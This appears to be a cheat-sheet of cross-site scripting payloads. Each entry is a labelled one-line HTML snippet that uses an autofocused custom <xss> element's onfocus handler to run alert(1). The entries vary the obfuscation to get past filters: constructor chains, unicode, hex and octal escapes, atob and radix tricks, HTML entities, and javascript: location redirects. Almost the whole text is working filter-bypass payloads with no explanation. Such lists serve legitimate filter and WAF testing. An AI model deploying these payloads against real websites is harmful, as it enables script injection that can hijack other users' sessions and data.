<xss> with onfocus using Ink.constructor() (html)

<xss tabindex=1 autofocus onfocus=Ink.constructor('a'+'lert(1)')()>

<xss> with onfocus using HID.constructor() (html)

<xss tabindex=1 autofocus onfocus=HID.constructor('a'+'lert(1)')()>

<xss> with onfocus using GPU.constructor() (html)

<xss tabindex=1 autofocus onfocus=GPU.constructor('a'+'lert(1)')()>

<xss> with onfocus using when.constructor() (html)

<xss tabindex=1 autofocus onfocus=when.constructor('a'+'lert(1)')()>

<xss> with onfocus using find.constructor() (html)

<xss tabindex=1 autofocus onfocus=find.constructor('a'+'lert(1)')()>

<xss> with onfocus using print.constructor() (html)

<xss tabindex=1 autofocus onfocus=print.constructor('a'+'lert(1)')()>

<xss> with onfocus using Set.constructor() (html)

<xss tabindex=1 autofocus onfocus=Set.constructor('a'+'lert(1)')()>

<xss> with onfocus using {}.constructor.constructor() (html)

<xss tabindex=1 autofocus onfocus={}.constructor.constructor('a'+'lert(1)')()>

<xss> with onfocus using ''.constructor.constructor() (html)

<xss tabindex=1 autofocus onfocus=''.constructor.constructor('a'+'lert(1)')()>

<xss> with onfocus using [].constructor.constructor() (html)

<xss tabindex=1 autofocus onfocus=[].constructor.constructor('a'+'lert(1)')()>

<xss> with onfocus using 0..constructor.constructor() (html)

<xss tabindex=1 autofocus onfocus=0..constructor.constructor('a'+'lert(1)')()>

<xss> with onfocus using 0n.constructor.constructor() (html)

<xss tabindex=1 autofocus onfocus=0n.constructor.constructor('a'+'lert(1)')()>

<xss> with onfocus using createElement('script')+append (html)

<xss tabindex=1 autofocus onfocus=s=createElement('script'),s.append('a'+'lert(1)'),this.append(s)>

<xss> with onfocus using location.replace(javascript:) (html)

<xss tabindex=1 autofocus onfocus=location.replace('javascript:a\lert(1)')>

<xss> with onfocus using location='javascript:a\lert(1)' (html)

<xss tabindex=1 autofocus onfocus=location='javascript:a\lert(1)'>

<xss> with onfocus using location=self.name (html)

<xss tabindex=1 autofocus onfocus=location=self.name>

<xss> with onfocus using location=frames.name (html)

<xss tabindex=1 autofocus onfocus=location=frames.name>

<xss> with onfocus using location=globalThis.name (html)

<xss tabindex=1 autofocus onfocus=location=globalThis.name>

<xss> with onfocus using location=globalThis.name (html) #2

<xss tabindex=1 autofocus onfocus=location=globalThis.name>

<xss> with onerror+onfocus using throw self.onerror=alert + /**/ comment as space + &#97 entity in JS (html)

<xss tabindex=1 autofocus onfocus=throw/**/self.onerror=&#97lert,1>

<xss> with onerror+onfocus using throw frames.onerror=alert + /**/ comment as space + &#97 entity in JS (html)

<xss tabindex=1 autofocus onfocus=throw/**/frames.onerror=&#97lert,1>

<xss> with onerror+onfocus using throw globalThis.onerror=alert + /**/ comment as space + &#97 entity in JS (html)

<xss tabindex=1 autofocus onfocus=throw/**/globalThis.onerror=&#97lert,1>

<xss> with onerror+onfocus using throw self.onerror=alert + &#97 entity in JS + quoted handler value (html)

<xss tabindex=1 autofocus onfocus="throw self.onerror=&#97lert,1">

<xss> with onerror+onfocus using throw frames.onerror=alert + &#97 entity in JS + quoted handler value (html)

<xss tabindex=1 autofocus onfocus="throw frames.onerror=&#97lert,1">

<xss> with onerror+onfocus using throw globalThis.onerror=alert + &#97 entity in JS + quoted handler value (html)

<xss tabindex=1 autofocus onfocus="throw globalThis.onerror=&#97lert,1">

<xss> with onerror+onfocus using throw defaultView.onerror=alert + &#97 entity in JS + quoted handler value (html)

<xss tabindex=1 autofocus onfocus="throw defaultView.onerror=&#97lert,1">

<xss> with onerror+onfocus using throw defaultView.onerror=alert + defaultView[] access + quoted handler value (html)

<xss title=aler id=t tabindex=1 autofocus onfocus="throw defaultView.onerror=defaultView[title+id],1">

<xss> with onerror+onfocus using throw defaultView.onerror=alert + &Tab; as space + defaultView[] access (html)

<xss title=aler id=t tabindex=1 autofocus onfocus=throw&Tab;defaultView.onerror=defaultView[title+id],1>

<xss> with onerror+onfocus using throw defaultView.onerror=alert + &#32 as space + defaultView[] access (html)

<xss title=aler id=t tabindex=1 autofocus onfocus=throw&#32defaultView.onerror=defaultView[title+id],1>

<xss> with onerror+onfocus using throw self.onerror=alert + &#32 as space + self[] access (html)

<xss title=aler id=t tabindex=1 autofocus onfocus=throw&#32self.onerror=self[title+id],1>

<xss> with onerror+onfocus using throw globalThis.onerror=alert + &#32 as space + globalThis[] access (html)

<xss title=aler id=t tabindex=1 autofocus onfocus=throw&#32globalThis.onerror=globalThis[title+id],1>

<xss> with onerror+onfocus using throw frames.onerror=alert + &#32 as space + frames[] access (html)

<xss title=aler id=t tabindex=1 autofocus onfocus=throw&#32frames.onerror=frames[title+id],1>

<xss> with onfocus using location=title+id (&lpar; parens) (html)

<xss title=java id=script:ale class=rt&lpar;1&rpar; tabindex=1 autofocus onfocus=location=title+id+className>

<xss> with onfocus using location=title+id (&#40 parens) (html)

<xss title=java id=script:ale class=rt&#40;1&#41; tabindex=1 autofocus onfocus=location=title+id+className>

<xss> with onfocus using location=title+id (&#x28 parens) (html)

<xss title=java id=script:ale class=rt&#x28;1&#x29; tabindex=1 autofocus onfocus=location=title+id+className>

<xss> with onfocus using window[] access (html)

<xss tabindex=1 autofocus onfocus=window['a'+'lert'](1)>

<xss> with onfocus using template-literal `a` string + window[] access (html)

<xss tabindex=1 autofocus onfocus=window[`a`+'lert'](1)>

<xss> with onfocus using \u0061 escape (html)

<xss tabindex=1 autofocus onfocus=\u0061lert(1)>

<xss> with onfocus using \u{0061} escape (html)

<xss tabindex=1 autofocus onfocus=\u{0061}lert(1)>

<xss> with onfocus using \u{61} escape (html)

<xss tabindex=1 autofocus onfocus=\u{61}lert(1)>

<xss> with onfocus using \u{00000000000061} escape (html)

<xss tabindex=1 autofocus onfocus=\u{00000000000061}lert(1)>

<xss> with onfocus using self[] access (html)

<xss tabindex=1 autofocus onfocus=self['a'+'lert'](1)>

<xss> with onfocus using template-literal `a` string + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[`${`a`}lert`](1)>

<xss> with onfocus using \a literal in string + self[] access (html)

<xss tabindex=1 autofocus onfocus=self['\a'+'lert'](1)>

<xss> with onfocus using \x61 escape + self[] access (html)

<xss tabindex=1 autofocus onfocus=self['\x61'+'lert'](1)>

<xss> with onfocus using \141 octal escape + self[] access (html)

<xss tabindex=1 autofocus onfocus=self['\141'+'lert'](1)>

<xss> with onfocus using /a/.source + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[/a/.source+/lert/.source](1)>

<xss> with onfocus using atob.name[0] + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[atob.name[0]+'lert'](1)>

<xss> with onfocus using atob.name[0] + self[] access (html) #2

<xss tabindex=1 autofocus onfocus=self[atob.name[0]+'lert'](1)>

<xss> with onfocus using String.fromCharCode(0x61) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[String.fromCharCode(0x61)+'lert'](1)>

<xss> with onfocus using String.fromCodePoint(0x61) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[String.fromCodePoint(0x61)+'lert'](1)>

<xss> with onfocus using 10..toString(17) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[10..toString(17)+'lert'](1)>

<xss> with onfocus using 10n.toString(17) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[10n.toString(17)+'lert'](1)>

<xss> with onfocus using 0xa.toString(17) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[0xa.toString(17)+'lert'](1)>

<xss> with onfocus using 0b1010.toString(17) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[0b1010.toString(17)+'lert'](1)>

<xss> with onfocus using 0o12.toString(17) + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[0o12.toString(17)+'lert'](1)>

<xss> with onfocus using atob('YQ==') + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[atob('YQ==')+'lert'](1)>

<xss> with onfocus using unescape('%61') + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[unescape('%61')+'lert'](1)>

<xss> with onfocus using decodeURI('%61') + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[decodeURI('%61')+'lert'](1)>

<xss> with onfocus using decodeURIComponent('%61') + self[] access (html)

<xss tabindex=1 autofocus onfocus=self[decodeURIComponent('%61')+'lert'](1)>

<xss> with onfocus using +[] coercion + self[] access (html)

<xss tabindex=1 autofocus onfocus=self['a'+[]+'lert'](1)>

<xss> with onfocus using frames[] access (html)

<xss tabindex=1 autofocus onfocus=frames['a'+'lert'](1)>

<xss> with onfocus using 10n.toString(17) + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[10n.toString(17)+'lert'](1)>

<xss> with onfocus using 0xa.toString(17) + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[0xa.toString(17)+'lert'](1)>

<xss> with onfocus using 0b1010.toString(17) + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[0b1010.toString(17)+'lert'](1)>

<xss> with onfocus using 0o12.toString(17) + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[0o12.toString(17)+'lert'](1)>

<xss> with onfocus using atob('YQ==') + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[atob('YQ==')+'lert'](1)>

<xss> with onfocus using unescape('%61') + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[unescape('%61')+'lert'](1)>

<xss> with onfocus using decodeURI('%61') + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[decodeURI('%61')+'lert'](1)>

<xss> with onfocus using decodeURIComponent('%61') + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView[decodeURIComponent('%61')+'lert'](1)>

<xss> with onfocus using +[] coercion + defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView['a'+[]+'lert'](1)>

<xss> with onfocus using defaultView[] access (html)

<xss tabindex=1 autofocus onfocus=defaultView['a'+'lert'](1)>